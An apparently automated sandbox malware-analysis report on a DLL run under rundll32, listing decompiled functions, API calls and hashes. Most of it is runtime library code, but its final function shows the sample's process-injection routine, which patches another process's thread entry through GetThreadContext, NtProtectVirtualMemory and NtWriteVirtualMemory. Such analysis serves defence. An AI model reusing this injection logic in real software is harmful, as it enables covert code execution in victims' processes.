Part of subcall function 100074CE: __EH_prolog3.LIBCMT ref: 100074D5
Part of subcall function 100074CE: Concurrency::details::_Concurrent_queue_base_v4::_Concurrent_queue_base_v4.LIBCPMT(00000004,00000004,1000777F,00000004,100075F0,00000004,100076FB,00000004,1000D1D6,00000344,?,1002C0FC,pAgent,00000038), ref: 100074EA
Part of subcall function 100074CE: m?0_NonReentrantPPLLock@details@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(00000004,00000004,1000777F,00000004,100075F0,00000004,100076FB,00000004,1000D1D6,00000344,?,1002C0FC,pAgent,00000038), ref: 100074FE

m?0_ReentrantPPLLock@details@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(00000004,100075F0,00000004,100076FB,00000004,1000D1D6,00000344,?,1002C0FC,pAgent,00000038), ref: 10007789

Part of subcall function 10016E80: Concurrency::critical_section::critical_section.LIBCMT(?,10007806,00000004,10007649,00000004,100075A2,00000004,10007ADF,00000008), ref: 10016E83

m_Trace_agents@Concurrency@@YAXW4Agents_EventType@1@_JZZ.PHOTOGRAPHED.DAT(00000000,?,?,?,?,00000004,100075F0,00000004,100076FB,00000004,1000D1D6,00000344,?,1002C0FC,pAgent,00000038), ref: 100077A4

Part of subcall function 10027390: m_GetConcRTTraceInfo@Concurrency@@YAPBU_CONCRT_TRACE_INFO@details@1@XZ.PHOTOGRAPHED.DAT ref: 100273A0
Part of subcall function 10027390: Concurrency::details::Etw::Trace.LIBCONCRT ref: 1002745B

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency@@$H_prolog3Lock@details@ReentrantTracem?0_$Agents_ConcConcurrency::critical_section::critical_sectionConcurrency::details::Concurrency::details::_Concurrent_queue_base_v4Concurrent_queue_base_v4::_Etw::EventInfo@O@details@1@Trace_agents@Type@1@_ordered_message_processor
String ID:
API String ID: 4027628373-0
Opcode ID: 8e9f8723ab93e0142a030ea426f8978a19b39272b0f088226db3965ea95c6efd
Instruction ID: f80d3bbb086fcbac362f4c95d65d412d76a1ec2c76f84d4da9241673583c104e
Opcode Fuzzy Hash: 8e9f8723ab93e0142a030ea426f8978a19b39272b0f088226db3965ea95c6efd
Instruction Fuzzy Hash: B5017CB4901A46FFD305DFA8D881699FBB9FF14310F90835DE02983682D7B4A754CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 100077B4 Relevance: 6.0, APIs: 4, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E100077B4(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _t35;
				void* _t36;
				void* _t37;

				_t36 = __esi;
				E10028D98(E1002A30B, __ebx, __ecx, __edi, 4);
				_t35 = __ecx;
				 *((intOrPtr*)(_t37 - 0x10)) = __ecx;
				 *(__ecx + 8) =  *(__ecx + 8) | 0xffffffff;
				 *((intOrPtr*)(__ecx)) = 0x10002080;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				_t5 = __ecx + 0x10;
				 *(__ecx + 0x10) =  *(__ecx + 0x10) | 0xffffffff;
				 *((intOrPtr*)(__ecx + 0xc)) = 0x10001fd4;
				 *((intOrPtr*)(_t37 - 4)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0;
				 *((intOrPtr*)(__ecx + 0x18)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((char*)(_t37 - 4)) = 1;
				E1000752D(0, __ecx + 0x20, __ecx,  *_t5);
				 *((char*)(_t37 - 4)) = 2;
				E10016E80(_t35 + 0xe8,  *_t5);
				 *((char*)(_t37 - 4)) = 3;
				asm("cdq");
				 *((intOrPtr*)(_t35 + 0x110)) = 0;
				asm("cdq");
				E10027390(_t35, _t36, 0, _t35, __edx, _t35 + 0x20, __edx);
				return E10028D61(_t35);
			}

0x100077b4
0x100077bb
0x100077c0
0x100077c2
0x100077c5
0x100077cb
0x100077d1
0x100077d4
0x100077d4
0x100077d8
0x100077df
0x100077e2
0x100077e5
0x100077e8
0x100077ee
0x100077f2
0x100077fd
0x10007801
0x10007809
0x1000780d
0x10007812
0x10007818
0x1000781c
0x1000782b

APIs

__EH_prolog3.LIBCMT ref: 100077BB
ordered_message_processor.LIBCONCRT ref: 100077F2

Part of subcall function 1000752D: __EH_prolog3.LIBCMT ref: 10007534
Part of subcall function 1000752D: Concurrency::details::_Concurrent_queue_base_v4::_Concurrent_queue_base_v4.LIBCPMT(00000004,00000004,100077F7,00000004,10007649,00000004,100075A2,00000004,10007ADF,00000008), ref: 10007549
Part of subcall function 1000752D: m?0_NonReentrantPPLLock@details@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(00000004,00000004,100077F7,00000004,10007649,00000004,100075A2,00000004,10007ADF,00000008), ref: 1000755D

m?0_ReentrantPPLLock@details@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(00000004,10007649,00000004,100075A2,00000004,10007ADF,00000008), ref: 10007801

Part of subcall function 10016E80: Concurrency::critical_section::critical_section.LIBCMT(?,10007806,00000004,10007649,00000004,100075A2,00000004,10007ADF,00000008), ref: 10016E83

m_Trace_agents@Concurrency@@YAXW4Agents_EventType@1@_JZZ.PHOTOGRAPHED.DAT(00000000,?,?,?,?,00000004,10007649,00000004,100075A2,00000004,10007ADF,00000008), ref: 1000781C

Part of subcall function 10027390: m_GetConcRTTraceInfo@Concurrency@@YAPBU_CONCRT_TRACE_INFO@details@1@XZ.PHOTOGRAPHED.DAT ref: 100273A0
Part of subcall function 10027390: Concurrency::details::Etw::Trace.LIBCONCRT ref: 1002745B

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency@@$H_prolog3Lock@details@ReentrantTracem?0_$Agents_ConcConcurrency::critical_section::critical_sectionConcurrency::details::Concurrency::details::_Concurrent_queue_base_v4Concurrent_queue_base_v4::_Etw::EventInfo@O@details@1@Trace_agents@Type@1@_ordered_message_processor
String ID:
API String ID: 4027628373-0
Opcode ID: f97312d1aa8935c5385a359eb92929f1da3e39bef73c325608e8e28e1bf83c52
Instruction ID: 7d7093f853e9a51b84c17de9ba43e5e6df93ce57cc8f2979f7b1b48ff5da3061
Opcode Fuzzy Hash: f97312d1aa8935c5385a359eb92929f1da3e39bef73c325608e8e28e1bf83c52
Instruction Fuzzy Hash: D2017CB4901B46EFD704CF69D8816A9FBB9FF14310F90835DE06983682D7B4A754CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000782C Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E1000782C(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _t31;
				void* _t32;
				void* _t33;

				_t32 = __esi;
				E10028D98(E1002A352, __ebx, __ecx, __edi, 4);
				_t31 = __ecx;
				 *((intOrPtr*)(_t33 - 0x10)) = __ecx;
				 *(__ecx + 8) =  *(__ecx + 8) | 0xffffffff;
				 *((intOrPtr*)(__ecx)) = 0x10001f78;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(_t33 - 4)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0x10001ed0;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((char*)(_t33 - 4)) = 1;
				E100074CE(0, __ecx + 0x18, __ecx, 0);
				 *((char*)(_t33 - 4)) = 2;
				E10016E80(_t31 + 0xe0, 0);
				 *((char*)(_t33 - 4)) = 3;
				asm("cdq");
				 *((intOrPtr*)(_t31 + 0x108)) = 0;
				asm("cdq");
				E10027390(_t31, _t32, 0, _t31, __edx, _t31 + 0x18, __edx);
				return E10028D61(_t31);
			}

0x1000782c
0x10007833
0x10007838
0x1000783a
0x1000783d
0x10007843
0x10007849
0x1000784c
0x1000784f
0x10007856
0x1000785c
0x10007860
0x1000786b
0x1000786f
0x10007877
0x1000787b
0x10007880
0x10007886
0x1000788a
0x10007899

APIs

__EH_prolog3.LIBCMT ref: 10007833
ordered_message_processor.LIBCONCRT ref: 10007860

Part of subcall function 100074CE: __EH_prolog3.LIBCMT ref: 100074D5
Part of subcall function 100074CE: Concurrency::details::_Concurrent_queue_base_v4::_Concurrent_queue_base_v4.LIBCPMT(00000004,00000004,1000777F,00000004,100075F0,00000004,100076FB,00000004,1000D1D6,00000344,?,1002C0FC,pAgent,00000038), ref: 100074EA
Part of subcall function 100074CE: m?0_NonReentrantPPLLock@details@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(00000004,00000004,1000777F,00000004,100075F0,00000004,100076FB,00000004,1000D1D6,00000344,?,1002C0FC,pAgent,00000038), ref: 100074FE

m?0_ReentrantPPLLock@details@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(00000004,100076A2,00000004,100072AF,?,?,?,10007148,00000004,10007271,?,00000000,?,10002808,0000003C,1000D250), ref: 1000786F

Part of subcall function 10016E80: Concurrency::critical_section::critical_section.LIBCMT(?,10007806,00000004,10007649,00000004,100075A2,00000004,10007ADF,00000008), ref: 10016E83

m_Trace_agents@Concurrency@@YAXW4Agents_EventType@1@_JZZ.PHOTOGRAPHED.DAT(00000000,?,?,?,?,00000004,100076A2,00000004,100072AF,?,?,?,10007148,00000004,10007271,?), ref: 1000788A

Part of subcall function 10027390: m_GetConcRTTraceInfo@Concurrency@@YAPBU_CONCRT_TRACE_INFO@details@1@XZ.PHOTOGRAPHED.DAT ref: 100273A0
Part of subcall function 10027390: Concurrency::details::Etw::Trace.LIBCONCRT ref: 1002745B

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency@@$H_prolog3Lock@details@ReentrantTracem?0_$Agents_ConcConcurrency::critical_section::critical_sectionConcurrency::details::Concurrency::details::_Concurrent_queue_base_v4Concurrent_queue_base_v4::_Etw::EventInfo@O@details@1@Trace_agents@Type@1@_ordered_message_processor
String ID:
API String ID: 4027628373-0
Opcode ID: 7e95923522f6a5a75ae0ad9e70473b2a58139b8b6ac8dd794609c1f6ab4b2a27
Instruction ID: 59ad970fc953d55af15302bd166e9cd98fc5b89b7b8810c3406d530921fa3a9d
Opcode Fuzzy Hash: 7e95923522f6a5a75ae0ad9e70473b2a58139b8b6ac8dd794609c1f6ab4b2a27
Instruction Fuzzy Hash: 8DF081F8901646EED700CF69C8416ADFB79FF54300F94825DB01983282C7B4A65487A0

Uniqueness

Uniqueness Score: -1.00%

Function 10008B16 Relevance: 6.0, APIs: 4, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E10008B16(void* __ebx, void* __ecx, void* __edi) {
				void* _t23;
				void* _t24;

				E10028DCC(E1002A4C6, __ebx, __ecx, __edi, 0x2c);
				_t23 = __ecx;
				 *(_t24 - 0x14) =  *(_t24 - 0x14) & 0x00000000;
				 *(_t24 - 4) =  *(_t24 - 4) & 0x00000000;
				E1000A0A6(_t24 - 0x38,  *((intOrPtr*)(_t24 + 8)));
				E1000A376(E1000A20F(_t24 - 0x38, _t23), _t24 - 0x38);
				return E10028D76(_t23, __ebx, __edi);
			}

0x10008b1d
0x10008b22
0x10008b27
0x10008b2b
0x10008b33
0x10008b44
0x10008b50

APIs

__EH_prolog3_GS.LIBCMT ref: 10008B1D
_Func_class.LIBCONCRT ref: 10008B33
_Func_class.LIBCONCRT ref: 10008B3C
_Func_class.LIBCONCRT ref: 10008B44

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Func_class$H_prolog3_
String ID:
API String ID: 3466983790-0
Opcode ID: 5dfcdfefe88833b252c4a350d6286c09bc1c0203d7dd0f946c386debf1211473
Instruction ID: 5cd903a1c92ac6e84bf97e73660ea8b7c743ee6a5019975554efeecbe5068955
Opcode Fuzzy Hash: 5dfcdfefe88833b252c4a350d6286c09bc1c0203d7dd0f946c386debf1211473
Instruction Fuzzy Hash: 36E08C79902508ABE718EB50E812FECB330EF22391F408119B00167096EF702F88C798

Uniqueness

Uniqueness Score: -1.00%

Function 1000C940 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

ordered_message_processor.LIBCONCRT ref: 1000C94F

Part of subcall function 1000A297: __EH_prolog3.LIBCMT ref: 1000A29E
Part of subcall function 1000A297: Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT(?,0000001C,1000C954,?), ref: 1000A2AC
Part of subcall function 1000A297: ordered_message_processor.LIBCONCRT ref: 1000A2C7
Part of subcall function 1000A297: ordered_message_processor.LIBCONCRT ref: 1000A2D1
Part of subcall function 1000A297: Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT(?,0000001C,1000C954,?), ref: 1000A2F5

std::bad_exception::bad_exception.LIBCMT ref: 1000C960

Strings

sync_send called without registering a callback, xrefs: 1000C958

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ordered_message_processor$Concurrency::details::_Lock::_Scoped_lock$H_prolog3ReaderReentrantScoped_lock::_Scoped_lock::~_Writerstd::bad_exception::bad_exception
String ID: sync_send called without registering a callback
API String ID: 1370979851-4178601950
Opcode ID: decff3e38d230f6623ae12bf39871dcb39b7fc409f0c1b207b3aa8934d19172d
Instruction ID: 1a40c86276fa207c0100c48dee2eeeac7456cee8491efcc4abdb18491c208adc
Opcode Fuzzy Hash: decff3e38d230f6623ae12bf39871dcb39b7fc409f0c1b207b3aa8934d19172d
Instruction Fuzzy Hash: 40F0823550010CBBDB01DB54EC09D9E7BA9EB84295F404026FA0567252C735A91ACAD5

Uniqueness

Uniqueness Score: -1.00%

Function 1001ACE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E1001ACE0(signed int __ebx, void* __edx, void* __edi, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v16;
				intOrPtr* _v20;
				void* _t26;
				void* _t27;
				void* _t29;
				void* _t36;
				char* _t37;
				char* _t52;

				_t51 = __edi;
				_t33 = __ebx;
				if(_a4 == 0) {
					_push("pScheduler");
					goto L5;
				} else {
					if(_a8 == 0x10000) {
						_push(_a4);
						return E10018485(__ebx, _t36, __edx, __edi, __fp0);
					} else {
						_push("version");
						L5:
						_t37 =  &_v16;
						E10007CBB(_t37);
						_push(0x1002c0fc);
						_push( &_v16);
						L10029E92();
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						E10028D98(E1002AE8C, _t33, _t37, _t51, 4);
						_t52 = _t37;
						asm("lock xadd [edi+0x4], ebx");
						_t35 = (_t33 | 0xffffffff) == 1;
						if((_t33 | 0xffffffff) == 1) {
							_v20 = 0x10035ac4;
							E1000D90E(0x10035ac4);
							_v8 = 0;
							_t26 = E10028707( *0x10035a5c);
							asm("sbb ecx, ecx");
							_v8 = _v8 | 0xffffffff;
							 *0x10035a5c =  *0x10035a5c &  ~(_t52 - _t26);
							 *0x10035ac4 = 0;
							if( *((intOrPtr*)(_t52 + 0x4c)) != 0) {
								_t29 = E10017300(_t26, _t52 + 0x2c);
								 *((intOrPtr*)(_t52 + 0x28)) = 2;
								_v8 = 1;
								E100175C0(_t29, _t52 + 0x2c);
								_v8 = _v8 | 0xffffffff;
								SetEvent( *(_t52 + 0x50));
								_t26 = E10016D00( *((intOrPtr*)(_t52 + 0x4c)), 0xffffffff);
							}
							_t27 = E10017CDD(_t26, _t52);
							_push(0x90);
							E10028D18(_t27, _t52);
						}
						return E10028D61(_t35);
					}
				}
			}

0x1001ace0
0x1001ace0
0x1001acea
0x1001ad08
0x00000000
0x1001acec
0x1001acf3
0x1001acfc
0x1001ad05
0x1001acf5
0x1001acf5
0x1001ad0d
0x1001ad0d
0x1001ad10
0x1001ad15
0x1001ad1d
0x1001ad1e
0x1001ad23
0x1001ad24
0x1001ad25
0x1001ad26
0x1001ad27
0x1001ad28
0x1001ad29
0x1001ad2a
0x1001ad2b
0x1001ad2c
0x1001ad2d
0x1001ad2e
0x1001ad2f
0x1001ad37
0x1001ad3c
0x1001ad41
0x1001ad46
0x1001ad47
0x1001ad52
0x1001ad55
0x1001ad62
0x1001ad65
0x1001ad71
0x1001ad73
0x1001ad77
0x1001ad7d
0x1001ad86
0x1001ad8b
0x1001ad90
0x1001ad9a
0x1001ada1
0x1001ada9
0x1001adad
0x1001adb8
0x1001adbe
0x1001adc1
0x1001adc6
0x1001adcc
0x1001add2
0x1001adda
0x1001adda
0x1001acf3

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 1001AD10

Strings

pScheduler, xrefs: 1001AD08
version, xrefs: 1001ACF5

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 33bfc3d9f581d3979ac1afd6186250725776b80c4ab7e97099b096c135997c28
Instruction ID: d5e83b266ea84f56316670d674addee131724d94c70c9d5341c8162ed2f39d9a
Opcode Fuzzy Hash: 33bfc3d9f581d3979ac1afd6186250725776b80c4ab7e97099b096c135997c28
Instruction Fuzzy Hash: 3FE08C3480010CFAEF12EB90ED46ECD37A8EB012C5F40C0267D42294598BB8E7C9CA82

Uniqueness

Uniqueness Score: -1.00%

Function 10028010 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E10028010(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v16;
				void* __ebp;
				signed int _t9;
				void* _t11;
				intOrPtr _t18;
				char* _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					_t19 =  &_v16;
					E10007CBB(_t19, "pScheduler");
					_push(0x1002c0fc);
					goto L5;
				} else {
					if( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x1c)) + 8)) == _t18) {
						L6();
						_push(__ecx);
						return E10021B10(__ebx,  *((intOrPtr*)(__ecx + 0x1c)), __edi);
					} else {
						_t19 =  &_v16;
						E100138CC(_t19);
						_push(0x1002c154);
						L5:
						_t9 =  &_v16;
						_push(_t9);
						L10029E92();
						asm("int3");
						_push(_t19);
						asm("lock xadd [ecx+0x4c], eax");
						_t11 = (_t9 | 0xffffffff) - 1;
						if(_t11 == 0) {
							return E1002808B(_t19);
						}
						return _t11;
					}
				}
			}

0x10028019
0x1002801e
0x10028051
0x10028054
0x10028059
0x00000000
0x10028020
0x10028026
0x10028039
0x10028041
0x10028049
0x10028028
0x10028028
0x1002802b
0x10028030
0x1002805e
0x1002805e
0x10028061
0x10028062
0x10028067
0x1002806b
0x1002806f
0x10028074
0x10028075
0x00000000
0x10028077
0x1002807d
0x1002807d
0x10028026

APIs

Concurrency::details::SchedulerProxy::DestroyVirtualProcessorRoot.LIBCONCRT ref: 10028042
std::invalid_argument::invalid_argument.LIBCONCRT ref: 10028054

Strings

pScheduler, xrefs: 1002804C

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::DestroyProcessorProxy::RootSchedulerVirtualstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 117384223-923244539
Opcode ID: 5c740ae473fee324bd8558b0c35231eafcf33b8f81946aafaedb72193c594328
Instruction ID: 9efa12fc20e73450fa96c63bf609ca82a2043640f145fff40d5b6acc7ccd113b
Opcode Fuzzy Hash: 5c740ae473fee324bd8558b0c35231eafcf33b8f81946aafaedb72193c594328
Instruction Fuzzy Hash: B6F0A738901104ABDB14EB54F892CDE73B8DF002807C0842DB50167541DB74FF0DC795

Uniqueness

Uniqueness Score: -1.00%

Function 10022380 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 100223A2
std::invalid_argument::invalid_argument.LIBCONCRT ref: 100223B5

Strings

pContext, xrefs: 100223AD

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: ec9372d7bdc3fe2215c694ecc84dbfe09a9fe77f5ede56a6ba81dbd28b36240f
Instruction ID: 1c3952cebda6179eaa5fa5c53dcaf299b4273d79ebfeb1450d431fcc5e7acc60
Opcode Fuzzy Hash: ec9372d7bdc3fe2215c694ecc84dbfe09a9fe77f5ede56a6ba81dbd28b36240f
Instruction Fuzzy Hash: 97E09239A0011867CB00EB64EC5AC9E77ADDFC42507414029FA15A7351DF74EA0586D0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 3108, Parent PID: 5212COMMON

Non-executed Functions

Function 00C3F744 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.392240432.0000000000C3B000.00000004.00000010.00020000.00000000.sdmp, Offset: 00C3B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c3b000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5c61cb7d08edf149070075293710a193843579f79a28cf10f57d2838c981fbc
Instruction ID: c47599648fed5b576e182e37d2c0ea3988e60facd1ee8a39b12a4c12230e642a
Opcode Fuzzy Hash: d5c61cb7d08edf149070075293710a193843579f79a28cf10f57d2838c981fbc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 7360, Parent PID: 5212COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.8%
Total number of Nodes:	1434
Total number of Limit Nodes:	4

Executed Functions

Function 00EFA823 Relevance: 6.1, APIs: 4, Instructions: 104
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EFA823(void* __ecx, void** __edx, intOrPtr _a4, intOrPtr _a8) {
				long _v8;
				intOrPtr _v15;
				void _v16;
				long _v20;
				void* _v24;
				long _v28;
				void* _v32;
				struct _CONTEXT _v748;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t39;
				void* _t41;
				void _t49;
				intOrPtr _t66;
				void* _t68;
				long _t70;
				void* _t73;
				void** _t77;
				void* _t80;

				_t37 =  *0xf10fd8; // 0x494fc50
				_t77 = __edx;
				_t68 = __ecx;
				if(( *(_t37 + 0x1898) & 0x00fe0286) == 0) {
					_t38 =  *0xf110b0;
				} else {
					_t38 = E00EFA222(__ecx, __edx);
					 *0xf110b0 = _t38;
				}
				if(_t38 == 0) {
					_t66 =  *0xf10fe4; // 0x494f9f0
					 *0xf110b0 = _t66;
				}
				_t39 = E00EFA412( *_t77, _a4); // executed
				_t80 = _t39;
				if(_t80 == 0) {
					L13:
					E00EFA356();
					_t41 = _t80;
					goto L14;
				} else {
					E00EF92A2( &_v748, 0, 0x2cc);
					_v748.ContextFlags = 0x10002;
					if(GetThreadContext(_t77[1],  &_v748) == 0) {
						goto L13;
					}
					_v20 = _v20 & 0x00000000;
					_t73 = _v748.Eax;
					_t49 = _t80 - _a4 + _t68;
					if(_a8 != 1) {
						if(_a8 != 2) {
							_t41 = 0;
							L14:
							return _t41;
						}
						_v16 = _t49;
						_t70 = 8;
						L11:
						_v32 = _t73;
						_v24 = _t73;
						_v8 = _t70;
						NtProtectVirtualMemory( *_t77,  &_v24,  &_v8, 4,  &_v20);
						if(NtWriteVirtualMemory( *_t77, _v748.Eax,  &_v16, _t70,  &_v8) >= 0) {
							_v28 = _v28 & 0x00000000;
							NtProtectVirtualMemory( *_t77,  &_v32,  &_v8, _v20,  &_v28);
						} else {
							_t80 = 0;
						}
						goto L13;
					}
					_v16 = 0xe9;
					_t70 = 5;
					_v15 = _t49 - _t73 - _t70;
					goto L11;
				}
			}

0x00efa826
0x00efa83e
0x00efa840
0x00efa842
0x00efa850
0x00efa844
0x00efa844
0x00efa849
0x00efa849
0x00efa857
0x00efa859
0x00efa85e
0x00efa85e
0x00efa868
0x00efa86d
0x00efa871
0x00efa923
0x00efa923
0x00efa928
0x00000000
0x00efa877
0x00efa885
0x00efa88d
0x00efa8ae
0x00000000
0x00000000
0x00efa8b0
0x00efa8b9
0x00efa8bf
0x00efa8c5
0x00efa8db
0x00efa94e
0x00efa92a
0x00efa92e
0x00efa92e
0x00efa8df
0x00efa8e2
0x00efa8e3
0x00efa8e6
0x00efa8ef
0x00efa8f6
0x00efa901
0x00efa91f
0x00efa92f
0x00efa949
0x00efa921
0x00efa921
0x00efa921
0x00000000
0x00efa91f
0x00efa8cb
0x00efa8cf
0x00efa8d2
0x00000000
0x00efa8d2

APIs

GetThreadContext.KERNELBASE(?,00010002), ref: 00EFA8A6
NtProtectVirtualMemory.NTDLL(?,?,00000001,00000004,00000000), ref: 00EFA901
NtWriteVirtualMemory.NTDLL(?,?,00000002,00000008,00000001), ref: 00EFA91A

Part of subcall function 00EFA222: LoadLibraryW.KERNEL32(00000000), ref: 00EFA2F2

NtProtectVirtualMemory.NTDLL(?,?,00000001,00000000,00000000), ref: 00EFA949

Memory Dump Source

